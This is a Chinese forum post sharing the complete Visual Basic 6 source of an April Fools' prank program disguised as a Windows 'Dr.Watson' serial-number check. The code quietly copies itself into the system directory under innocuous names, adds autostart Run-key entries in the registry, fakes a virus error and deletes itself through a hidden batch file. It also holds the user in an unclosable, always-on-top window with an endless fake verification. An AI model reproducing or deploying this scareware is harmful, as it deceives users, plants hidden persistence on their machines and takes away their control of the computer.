本程序是2002.4.1号写的,大家应该知道是什么日子吧,原来的想法是可以将程序与TXT关联的,但没时间去修改了。程序跟上次的“辨断你的Windows是正版还是盗版 ”差不多,但这个可以在2K/XP里用的:) 
VERSION 5.00 Begin VB.Form frmMain     BorderStyle     =   3  'Fixed Dialog    Caption         =   "Dr.Watson"    ClientHeight    =   2190    ClientLeft      =   45    ClientTop       =   330    ClientWidth     =   6120    Icon            =   "frmMain.frx":0000    LinkTopic       =   "Form1"    MaxButton       =   0   'False    MinButton       =   0   'False    ScaleHeight     =   2190    ScaleWidth      =   6120    ShowInTaskbar   =   0   'False    StartUpPosition =   1  'CenterOwner    Begin VB.Frame Frame        BorderStyle     =   0  'None       Caption         =   "Frame1"       Height          =   2175       Left            =   0       TabIndex        =   0       Top             =   0       Width           =   6135       Begin VB.Frame Frame2           BorderStyle     =   0  'None          Caption         =   "Frame2"          Height          =   1695          Left            =   4560          TabIndex        =   11          Top             =   1680          Width           =   4575          Begin VB.Label Label3              Caption         =   "        注意:如果Dr.Watson检测到输入的序列号错误,将自动返回上一步。"             Height          =   435             Left            =   0             TabIndex        =   14             Top             =   720             Width           =   4485          End          Begin VB.Label Label2              AutoSize        =   -1  'True             Caption         =   "正在验证序列号的正确性,请稍后..."             Height          =   195             Left            =   720             TabIndex        =   13             Top             =   1320             Width           =   2835          End          Begin VB.Label Label1              Caption         =   "        正在验证序列号是否正确,此过程可能要花数分钟时间,同时可能导致计算机停止响应。"             Height          =   375             Left            =   0             TabIndex        =   12             Top             =   240             Width           =   4575          End       End       Begin VB.Frame Frame1           BorderStyle     =   0  'None          Caption         =   "Frame1"          Height          =   1935          Left            =   -2640          TabIndex        =   2          Top             =   1200          Width           =   4695          Begin VB.TextBox txtBox              Height          =   375             Index           =   4             Left            =   3720             TabIndex        =   8             Top             =   1080             Width           =   615          End          Begin VB.TextBox txtBox              Height          =   375             Index           =   3             Left            =   2880             TabIndex        =   7             Top             =   1080             Width           =   615          End          Begin VB.TextBox txtBox              Height          =   375             Index           =   2             Left            =   2040             TabIndex        =   6             Top             =   1080             Width           =   615          End          Begin VB.TextBox txtBox              Height          =   375             Index           =   1             Left            =   1200             TabIndex        =   5             Top             =   1080             Width           =   615          End          Begin VB.TextBox txtBox              Height          =   375             Index           =   0             Left            =   360             TabIndex        =   4             Top             =   1080             Width           =   615          End          Begin VB.CommandButton cmdSure              Caption         =   "确定(&O)"             Height          =   375             Left            =   3240             TabIndex        =   3             Top             =   1560             Width           =   1095          End          Begin VB.Label lblSN              AutoSize        =   -1  'True             Caption         =   "请输入正确的序列号:"             BeginProperty Font                 Name            =   "MS Sans Serif"                Size            =   9.75                Charset         =   0                Weight          =   400                Underline       =   0   'False                Italic          =   0   'False                Strikethrough   =   0   'False             EndProperty             Height          =   240             Left            =   0             TabIndex        =   10             Top             =   720             Width           =   1800          End          Begin VB.Label lblTips              Caption         =   "        注意:Dr.Watson检测到非法的Windows序列号,您可以在随机附送的使用手册里找到正确的序列号,或与经销商联系。"             Height          =   675             Left            =   0             TabIndex        =   9             Top             =   0             Width           =   4785          End       End       Begin VB.PictureBox Picture1           BorderStyle     =   0  'None          Height          =   495          Left            =   240          Picture         =   "frmMain.frx":000C          ScaleHeight     =   495          ScaleWidth      =   495          TabIndex        =   1          Top             =   240          Width           =   495       End    End End Attribute VB_Name = "frmMain" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False '''''''''''''''''''''''''''''''''''''''''''''''''''' '   本程序仅供参考,如造成任何损失本人不负责任。      ' '   oicq:102490                                    ' '   e-mail:[email protected]                          ' '   主页: http://www.skydg.net                    ' '''''''''''''''''''''''''''''''''''''''''''''''''''' Option Explicit 
'读写注册表 Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long 
Private Const HKEY_CURRENT_USER = &H80000001 Private Const HKEY_LOCAL_MACHINE = &H80000002 Private Const REG_SZ = 1 
'窗体总在最前 Private Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long 
Private Const HWND_TOPMOST = -1 
'查找系统目录 Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 
Private Const MAX_PATH = 260 
'去掉关闭按钮 Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long Private Declare Function RemoveMenu Lib "User32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long Private Declare Function DrawMenuBar Lib "User32" (ByVal hwnd As Long) As Long Private Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long 
Private Const MF_BYPOSITION = &H400& Private Const MF_DISABLED = &H2& 
Dim ExitButton As Boolean 
'取得windows目录 Function GetWinPath()     Dim strFolder As String     Dim lngResult As Long     strFolder = String(MAX_PATH, 0)     lngResult = GetWindowsDirectory(strFolder, MAX_PATH)     If lngResult <> 0 Then         GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)     Else         GetWinPath = ""     End If End Function 
'取得system目录 Function GetSystemPath()     Dim strFolder As String     Dim lngResult As Long     strFolder = String(MAX_PATH, 0)     lngResult = GetSystemDirectory(strFolder, MAX_PATH)     If lngResult <> 0 Then         GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)     Else         GetSystemPath = ""     End If End Function 
'文件是否存在 Function FileExists(filename As String) As Integer On Error Resume Next     Dim i As Integer     i = Len(Dir$(filename))     If Err Or i = 0 Then FileExists = False Else FileExists = True End Function 
'延时 Private Sub delay(ByVal n As Single)     Dim tm1 As Single, tm2 As Single     tm1 = Timer     Do         tm2 = Timer         If tm2 < tm1 Then tm2 = tm2 + 86400         If tm2 - tm1 > n Then Exit Do         DoEvents     Loop End Sub 
'去掉关闭按钮 Private Sub DisableX(Frm As Form)     Dim hMenu As Long, nCount As Long     hMenu = GetSystemMenu(Frm.hwnd, 0)     nCount = GetMenuItemCount(hMenu)     Call RemoveMenu(hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION)     DrawMenuBar Frm.hwnd End Sub 
Private Sub Form_Load() On Error Resume Next     Dim mePath As String     Dim hKey As Long     Dim strCmd As String     Dim strRunCmd As String          mePath = App.Path     If Right(mePath, 1) <> "\" Then mePath = mePath & "\"          If App.PrevInstance Then End          '写入注册表     strRunCmd = "internet.exe"     Call RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)     Call RegSetValueEx(hKey, "system", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)     Call RegCloseKey(hKey)          strRunCmd = "msints.exe"     Call RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)     Call RegSetValueEx(hKey, "MsIDE", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)     Call RegCloseKey(hKey) 
    '复制自己     Dim SourceFile, DestinationFile     If FileExists(GetSystemPath & "\internet.exe") = 0 Then         SourceFile = mePath & App.EXEName & ".exe"         DestinationFile = GetSystemPath & "\internet.exe"         FileCopy SourceFile, DestinationFile                  SourceFile = mePath & App.EXEName & ".exe"         DestinationFile = GetSystemPath & "\msints.exe"         FileCopy SourceFile, DestinationFile     End If          '检查程序是否在系统目录下     If UCase$(App.Path) <> UCase$(GetSystemPath) Then         MsgBox "程序代码不完整或系统出现错误,程序可能已被病毒破坏。", vbOKOnly         Open GetWinPath & "\killme.bat" For Append As #1         Print #1, "@echo off"         Print #1, "dir " & GetSystemPath & " /w"         Print #1, "del " & mePath & App.EXEName & ".exe"         Print #1, "del " & GetWinPath & "\killme.bat"         Close #1         Shell "killme.bat", vbHide         End     End If          '后备程序     If UCase$(App.EXEName & ".exe") = UCase$("msints.exe") Then End          Frame1.Top = 120     Frame1.Left = 1080     Frame2.Top = 120     Frame2.Left = 1080     Frame2.Visible = False              Call DisableX(Me)     '窗体总在最前     SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0 End Sub 
Private Sub Form_Resize()     '程序被最小化时返回初始状态     If Me.WindowState = 1 Then Me.WindowState = 0 End Sub 
Private Sub Form_Unload(Cancel As Integer)     '禁止程序退出    If Not ExitButton Then Cancel = True End Sub 
Private Sub cmdSure_Click()     Frame1.Visible = False     Frame2.Visible = True     delay 30     Frame1.Visible = True     Frame2.Visible = False End Sub 
Private Sub Label2_Click()     End End Sub
   
 
  |